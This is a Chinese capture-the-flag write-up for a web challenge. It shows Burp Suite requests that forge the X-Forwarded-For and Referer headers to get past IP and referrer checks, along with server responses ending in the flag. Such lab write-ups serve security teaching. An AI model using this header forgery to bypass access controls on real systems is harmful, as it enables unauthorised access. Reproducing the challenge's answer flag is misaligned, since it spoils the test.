题目描述

X老师告诉小宁其实xff和referer是可以伪造的。

打开场景，得到提示”ip地址必须为123.123.123.123“

解题

使用burpsuite抓包，报文如下

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GET / HTTP/1.1
Host: 111.200.241.244:53941
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


将报文发至重发器，伪造xff

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GET / HTTP/1.1
X-Forwarded-For: 123.123.123.123
Host: 111.200.241.244:53941
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


得到响应包如下

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HTTP/1.1 200 OK
Date: Thu, 09 Dec 2021 13:06:54 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Vary: Accept-Encoding
Content-Length: 525
Connection: close
Content-Type: text/html

<html>
<head>
    <meta charset="UTF-8">
    <title>index</title>
    <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
    <style>
        body{
            margin-left:auto;
            margin-right:auto;
            margin-TOP:200PX;
            width:20em;
        }
    </style>
</head>
<body>
<p id="demo">ip地址必须为123.123.123.123</p>
<script>document.getElementById("demo").innerHTML="必须来自https://www.google.com";</script></body>
</html>

接着根据”必须来自https://www.google.com"伪造HTTP来源地址。

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GET / HTTP/1.1
referer: https://www.google.com
X-Forwarded-For: 123.123.123.123
Host: 111.200.241.244:53941
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


得到含flag的响应包

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HTTP/1.1 200 OK
Date: Thu, 09 Dec 2021 13:13:25 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Vary: Accept-Encoding
Content-Length: 631
Connection: close
Content-Type: text/html

<html>
<head>
    <meta charset="UTF-8">
    <title>index</title>
    <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
    <style>
        body{
            margin-left:auto;
            margin-right:auto;
            margin-TOP:200PX;
            width:20em;
        }
    </style>
</head>
<body>
<p id="demo">ip地址必须为123.123.123.123</p>
<script>document.getElementById("demo").innerHTML="必须来自https://www.google.com";</script><script>document.getElementById("demo").innerHTML="cyberpeace{5dcd02fae972af4a95f448a08f699d1b}";</script></body>
</html>